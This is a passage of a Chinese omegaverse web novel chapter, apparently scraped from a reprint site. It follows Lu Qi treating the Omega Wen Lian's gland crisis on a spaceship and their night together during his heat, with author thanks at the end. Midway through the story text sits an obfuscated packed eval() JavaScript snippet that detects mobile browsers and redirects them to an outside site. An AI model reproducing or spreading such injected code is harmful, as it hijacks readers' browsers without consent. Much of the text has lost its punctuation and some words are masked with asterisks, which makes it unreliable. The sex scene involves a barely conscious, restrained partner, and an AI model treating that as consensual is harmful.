温敛的腺体状况很糟糕。
仪器上的各项检查分析结果表明,每一项都低于平均正常值。
表面看似乎是因为炎症而导致腺体体积变大肿胀,但数据显示却并非如此。
这反而像是腺体萎缩之前的一种特殊并发症。
有些Omega易感期没休息好或是没做好必要措施,也会有这样的轻症。肿胀后反弹,导致腺体萎缩、功能弱化。
但温敛这个,显然不属于轻症的级别。
路岐戴上口罩,消了毒,接过机器人递来的注射型抑制剂、抗生素和止痛剂。
飞船的检查室不具备切开后颈做手术的环境,刚才照了个CT,问题很多,但基本可以肯定是易感期引起的。
注射型的抑制剂一般都是处方医用,比市贩的抑制剂效果更强,当然也有一定副作用。
所以,除非特殊病情情况,不会允许Omega或Alpha使用。
注射的针头比普通的更粗一些,长长一根扎进后颈的皮肉里,无影灯下,Omega的脸显得苍白病态。
不少人第一次接受注射时,就算成年人都会痛到从椅子上挣扎着跳起来,但温敛只微微拧了拧双眉。
他大概有一些朦胧的意识,放在身侧的手动了下,虚虚地抓住路岐的手指。
路岐一边推注射器,一边任由他抓着,分不清是安慰还是玩笑:“先生,这么害怕?再忍忍,很快。当然,你要实在忍不了要哭,我也可以帮你擦擦眼泪。
说完,抓住她的那只手紧了紧,要是平时,温敛大概已经送了她一记白眼。
但他现在没力气说话,躺在床上,像随时会死去一样的脆弱。
路岐瞥向他带有数个**的后颈,与轻松的语气相反,那目光阴冷幽深。
温敛不知道自己睡了多久,意识渐渐苏醒时,先感觉到后颈上插满管子,然后才是痛,还有热。
周围是一片白的病房,旁边还吊着水,滴答滴答响的仪器上显示现在是深夜2点。
25°的空调冷气在头顶呼呼吹着,异样的热度却一点一点攀上温敛的脖子。
好热。
“病人,准备输液,请不要移动。守在一边的医疗机器人发出机械音提醒道。
机器人,而且窗外的景色还是黄土和夜空,看来这里还在飞船上。
但偌大的病房里,除了温敛自己,一个人也没有。
“谁带我过来的?
他忍着身体的燥热和疼痛坐起来,手指攥
紧了床单,喉咙也像被烧烫的砂纸磨过,哑得厉害。
“是主人。”
“路岐?”
“是的。”
他抓着床单的手松开一点:“那她人呢?”
“一个小时前出去了。”
“叫她过来。”
“十分抱歉,我只是一台医疗机器人,并非飞船的主控AI……”
“那你就叫主控AI让她给我过——”
温敛没吼完就捂住嘴猛地咳嗽,被衣服裹住的单薄背脊弓起来抖着,像要把肺都咳出来一样。
“您还好吗?您哪里感到不适?我马上准备注射……”
温敛没理它,手从嘴边放下来,沉沉地张嘴呼吸,但也无法缓解胸腔里的窒息感。
“吱呀”
病房的门在这时被从外推开了,路岐一进来就和温敛那双因为用力咳嗽而微微泛红的眸子对视。
“主人……”
机器人正打算将刚才的事汇报,路岐就抬手示意它不用说。
她走到温敛床边,白大褂上有雨水湿漉漉的味道,看来外面下了雨。
“路岐。”温敛一把拽住她的衣襟,因为没有力气,险些在床边摔倒,好在被她扶住。
浓郁的Omega信息素一下子就缠绕上来,萦绕在路岐的脸颊、脖子还有胸腹。
情.欲将温敛那双总是带有轻蔑的攻击性的绿色瞳孔沾染得软和迷蒙。还有那么一点点残存的理智,大概是在质问她人去哪儿了。
“因为差不多要移动这个空间了,我出去看了看周围有没有什么情况。”
路岐说的这段话,一个被易感期热潮侵蚀的Omega显然是处理不了的。
他蛮不讲理地把路岐扯过来,就凑上去拿又软又烫的唇亲她。
路岐的手撑进松软的被子里,维持着上身前倾,这个不怎么能保持平衡的姿势,任Omega又亲又咬。
那双雾蒙蒙的眼睛里,理智早已被欲情淹没了。
“路岐……嗯,路……岐……”
温敛很少会在被亲的时候发出这种声音,他大多时候都是克制的,或许是不想让自己显得被掌控,又或者是性格注定他在感情上也要做那个主动方。
但现在,这些都没了。
像在沙漠里找到一片绿洲,他呜咽着,战栗着,手臂搂上路岐的脖子贴近她,错乱不堪的呼吸起起伏伏,还是没法很好地用鼻子换气。
直到唇齿不断相交,脸憋得绯红,呼吸彻底乱了,抓着路岐的衣
服还是没有松手。
“…先生稍微等下。”
路岐察觉到不对松开了他手指捏住他的下颌看Omega吐着一截被亲得殷红的舌尖大口大口地喘气但这样也没有缓解的迹象。
从脖颈到耳朵烧得一片通红。
他张着嘴还要凑过来被路岐摁住失笑的口吻:“先生你一会儿清醒了估计会想把现在的自己打一顿。”
两个人不知什么时候成了路岐坐着温敛抓着她的肩膀跨坐在她身上的姿势。
他胸口上下起伏双眼迷离急促的呼吸无法控制带着一点唾液从唇角往下染湿了路岐的手指。
她好像一点也不嫌弃捏捏他的脸颊晶莹的水意衬得Omega冷白的皮肤薄瓷一样的漂亮。
“慢慢呼吸放轻松。”
她说着又被温敛压过来吻住他呼吸又急又乱再这样估计会真的喘不过气但好在亲上来了以后动作就不大了。
这似乎是想要路岐亲自己。他一边喘息一边嗓音模糊地叫着她的名字。
路岐只能捏着他的下巴尖放低的声音似乎永远冷静而平静:“你不照我说的做我不会亲您。”
“路岐……”温敛说一个字就要停一下“你…欺负我……”
说着欺负我他舌尖就探出来又要亲路岐。
她眯了眯眼望着眼前早已被腺体支配而失去清醒意志的Omega。
红的唇柔波似的眸锋利艳丽的五官只剩下了勾人的媚。
无论是谁来估计都会为他的美貌和失态而感到难以自持吧。
以前似乎也有过这样的事。
在温敛的卧室里他第一次迎来易感期明明厌恶她却控制不了自己最终还是投怀送抱软着声音叫她的声音。
路岐那时也笑着对他说。
“先生你现在在做的事只是本能不是本心。”
路岐笑着心里却厌恶而鄙夷着。
一生都被本能欲望所支配的动物看起来肮脏而丑陋。
真恶心啊。
所以在军校的空间里书星鹿每次易感期发作的时候路岐都冷眼看着。他最后抓住路岐说的那些求欢的话也令弗兰肯斯坦心中不屑又作呕。
她们不受信息素干扰也不会迎来易感期。
当然是比人类更高一维度的存在。
看着他们苦苦挣扎又无法摆脱的模样内心当然只有嘲笑。
嘲笑他们的愚蠢
嘲笑他们的堕落。
但此刻望着眼前这个用喑哑的嗓音叫着她名字的Omega明明不是第一次但路岐却第一次感到了不一样的情绪。
是怜悯吗?还是同情?还是可惜?
亦或是……一些她尚不知晓的东西。
高知能的怪物第一次选择暂时将这件事抛之脑后了。
她掌住温敛的腰在他杂乱无章的亲吻中缓慢而有序地回应着他的吻:“先生
她说着温敛大概是听见了他的呼吸终于缓下来了一点。
然后就被路岐吻咬住腰际绷紧嘴里发出轻轻的嗯声含糊不清地同样回吻着她。
路岐弯起眼睛夸赞地说:“很好就是这样……先生真是学什么都很快呢。”
回答她的只有温敛微微咬紧的唇和战栗的呼吸。
床边医疗机器人一动不动地看着床上这一幕直到路岐朝后抬了抬手指它才无措地挡住了自己的摄像头。
夜很长了。
沙漠的破晓划破黑夜在窗帘上反射出浅薄的一点亮光路岐才睁开眼下床穿上衣服。
她看了眼床里面的人地上衣服散乱仪器上的各项数值全都恢复到了正常水平但这些当然也只是暂时的。
她让医疗机器人继续监控异常手翻过被抓乱的衣领理好推门而出。
昨晚下了一场难得的雨成功让路岐发现了空间附近的一些脚印。
联邦嗅着味道找到这里来了。不出她所料。
她把几个小型的**装置设置在了那些位置今早天不亮从飞船出来确认成果很遗憾没人上钩。
路岐原本打算用监控守一晚上看看对面到底派了几个人来不过因为遇上温敛易感期发作这计划也临时变更了。
“明明我不会受信息素干扰真奇怪啊。”她摸着下巴自言自语但又好像并不是疑问句。
跟着她一起出来的小型警备机器人道:“主人这下怎么办?”
“怎么办啊别的不知道但我没兴趣等他们进攻。”路岐转身回了空间谁知刚双脚踩在地上面前的路就被堵了。
围着空间绕了一圈回来时间已经是正午太阳很大黄土飞扬九号在后面着急地喊道:“温、温……”
温敛面无表情站在她面前。
明明是高达38°的荒漠他却穿了件高领的衣服把外套也拉起来但细看还是能看见他下巴尖
有咬痕、吻痕,抿起的嘴唇也有点肿。
别人不知道,但路岐很清楚,剥去那件外套,褪下他的衣服,温敛从胸口到腰腹,到大腿内侧都全是吻痕。
反正他短裤短袖都别想再穿。
“怎么了,先生。这么不高兴。她问道。
“……温敛扯起嘴角道,“你这是明知故问?
怪物眨眼,仿佛真的不解其意。
他的脸就更冷了。
两个小时前,温敛迷迷糊糊从床上醒来,后颈不痛了,估计是路岐打了抑制剂,但取而代之的是四肢酸痛,声音也很哑。像在梦里被什么人狠狠揉搓过一遍。
他顿了一下,有某种违和感,低头看见自己什么也没穿,胸前被人咬了一口,有浅浅的牙印。
温敛脑子有根弦腾地弹了一下,下床,来到镜子前,发现除此之外,数不清的吻痕交缠在自己身体上。
地上散落着他的衣服,还有一根医疗用的绷带。
他隐隐想起,昨晚,路岐就是用这个绑了他的手腕和一只脚踝,系在床头……
温敛不记得自己当时是什么反应了,但,嗓子像被烧过一样,发出声音都困难。
手腕上当然也有被勒过的红痕,右脚的脚踝上也……
一瞬间,很多朦朦胧胧的记忆圈钻进他脑海里。
出格的,更出格的,甚至在那之前的吻,也都是温敛主动,是他软着声音要路岐亲自己,甚至吻得太急了,差点没喘过气。
“很好,就是这样……先生真是学什么都很快呢。
贴在他耳边的嗓音,含着低笑,明明可以称得上是温柔,但温敛的表情越来越冷,手也越攥越紧。
路岐还真没说错。
他现在的心情,就是想一枪把昨晚的那个自己给崩了。
还想把路岐也崩了。
“忘了昨晚的事。温敛压着眼睫看她,“感谢你帮我解决易感期,但一码归一码。
路岐看他把自己挡得严严实实的就想笑,面上淡淡地点头:“昨晚?昨晚事情太多了,您具体指的是什么事?
“你……
温敛羞恼得目光要**,就算想说“你控制不住自己老二的事不记得了是吧?,但还有九号这么个大活人在旁边,温敛又能说得出什么。
偏偏路岐还没事人似地微笑着,好像完全忘了自己昨晚不要脸地一边压着他的腿弯一边钓鱼式问法:“先生,舒服吗?喜欢吗?还想要吗?
温敛不想回忆自己是怎么回答
的易感期的Omega根本就不是清醒的状态路岐明知道……还……
“我今天一天都不想再看见你。**。”
他凶恶地说完就扭头风衣衣角被吹得翻飞留下九号一脸迷茫。
他以为温先生病了今早做了点饭去看望他结果一去检查室却发现温敛状态挺好这不都有力气跟领主吵架。
“领主刚才机器人收拾温先生换下来的衣服我在口袋里发现了这个……”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664378|172931||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
九号上前掌中摊着一把钥匙。
是飞船的**限钥匙。
他虽然从小没离开过福祉中心见过的大人只有院长和L博士但也知道在外面尤其是在阶级分明的飞船上能掌有**限钥匙的除了飞船驾驶员也就只有副官级别以上的军人。
“这是温先生的吗?”他问。
“是的。”旁边的警备机器人代路岐答道“这是主人之前给温先生的权限钥匙。”
也就是说温先生真的不是实验体或者是比他更受领主信赖的实验体?
昨晚温敛发作的样子其实很像是腺体被做过某种实验而引发的异样……
**该不该跟领主说但一想领主怎么可能不知道。
“领主。”
他见路岐迈开脚步往飞船的方向走追上去道。
“您在外面发现什么了是吗?”
“差不多吧。”路岐道“后天0点前往首都。你用空间内广播让他们收拾东西。”
九号一愣有些不敢相信地问:“您的意思是打算带上我们……一起?”
这个空间少说也有七八十个实验体。
北因特区光是城区入口的监控估计都比他们多个几倍不止。
九号错愕的不是路岐打算怎么不动声色地带这么多人进去而是她竟然不打算把他们赶回沙漠让他们自生自灭。
“对带上你们一起。”路岐望着前方口吻平静而随意。
九号简直受宠若惊泪眼汪汪地再三确认:“……真的吗?真的?您说真的?”
这对于早已绝望的实验体们而言大概是这几十天里
他们还有救。
如果找到L博士逼她把他们变回去他们也许就不用再受追捕就能像正常人一样活下去。
“我我这就让他们去收拾行李!”
九号转身几步跑远了。
不出五分钟领主打算带众实验体
一起去首都的消息就被空间内广播播放了出来。
听着外面一遍又一遍重复的广播声,温敛躺在床上,盯着天花板,心里倒是有些意外。
这可不像弗兰肯斯坦的作风。她打算干什么?
桌上摆着九号叫机器人送来的早餐,温敛刚结束第二波热潮,加上一些不愉快的记忆,没胃口,所以只随便垫了几口面包。
就算想坐下来也有点难,某个部分很痛,坐着都觉得异样。
易感期的Omega的身体会发生变化,简单而言,会变得更适合做一些不上流的事。稍微过分一点也行的那种。
温敛前几次顶多浑身酸痛,还从来没有过……觉得坐着都难受的地步。
他不禁在心里骂路岐昨晚是不是发*了,是不是有什么特别让她心情很好的事,然后全发泄在自己身上了,那么用力。
他翻了个身盖住被子,准备补个觉。
本来打算问她自己的腺体到底什么状况,算了,明天再说。温敛今天都不想再看见路岐那张脸。
床边的广播渐渐停了,温敛快要睡着时,“叮咚一声,金属门上的呼叫铃忽然被人摁响了。
他懒懒地皱了下眉,不想理。
“叮咚。叮咚。叮咚。
温敛:“……
他坐起来,问都不问一声外面的人是谁就咂舌:“滚。不准进来。
机器人和九号都会直接进,谁会装模作样摁门铃,想都不用想。
“先生,还在生气?
门外,路岐的声音传来。
马上就要出空间了,他以为她这会儿肯定忙着。
“与其问我生不生气,你要不先想想自己干了什么?
虽然隔着一道门,但温敛的笑声显然含着几分讽刺。
路岐还真的认真想了想。
“您是在气我,您亲过来的时候,我没有正人君子地推开您吗?
温敛:“……
“还是在气我,把您的手脚绑了却逼您自己动?
温敛:“……
“还是——
“滚!
有枕头砸向金属门的声音,到底是军人的力量,路岐要是那扇门,脸估计真挺疼的。
门外就此安静了下来,温敛以为她这就走了,本来不好的心情更沉,寒着脸,说不出是什么感觉。
到底想让她怎么样,他也不知道。
只是,温敛从没有任何一次,像昨晚那样失态过。
路岐要是不
当人,再提点过分的要求,再干点过分的事,不清醒的Omega估计什么都会答应。
没有底线,没有原则,没有尊严。
说起来可笑,温敛什么都不怕,但唯独很怕,自己最后会逐渐变成那样。
变成他极其厌恶的自己。
温敛没谈过恋爱,也从来没喜欢过什么人,但就算谈恋爱也只会是他自己。
虽然现在和路岐也算不上是那种关系。
绒被柔软,他攥着一截被角,目光晦暗,手指关节微微发白。室内灯光将他的影子照得又深又黑。
就在这时,本该空无一人的门外,再次传来声音。
“您在想什么?”
温敛倏地抬头,滞了一下,又低头,浓密的眼睫遮了半截瞳孔,他慢慢道:“没什么。反正是跟变态没关系的事。”
“那我可以进来吗?”
“……”温敛面无表情地沉默,半晌,从鼻子里闷闷发出一个单音,“嗯。”
作者有话要说
温敛:还有什么?再说来听听
路岐:……(^^您先把枪放下?
感谢在2023-08-0821:37:17~2023-08-0922:20:36期间为我投出霸王票或灌溉营养液的小天使哦~
感谢投出**的小天使:我不是乔一鸣1个;
感谢灌溉营养液的小天使:不要乱码88瓶;我老婆天下第一49瓶;肖战顺顺利利平安喜乐22瓶;是妍不是研、用户7674047010、昱彦、草莓土豆饺子20瓶;唐朝、都布、45626956、今天也在努力的做一个、爷还能再干一杯10瓶;早川春忱8瓶;Ksusju7瓶;姜兮、透明的向日葵、o.05瓶;unpretty、賀賀賀賀2瓶;36680057、超级无敌大帅歌、玉棠子、云樵、35241600、混邪乐子人、织魂、陌上烟雨遥、就要GB女强!1瓶;
非常感谢大家对我的支持,我会继续努力的!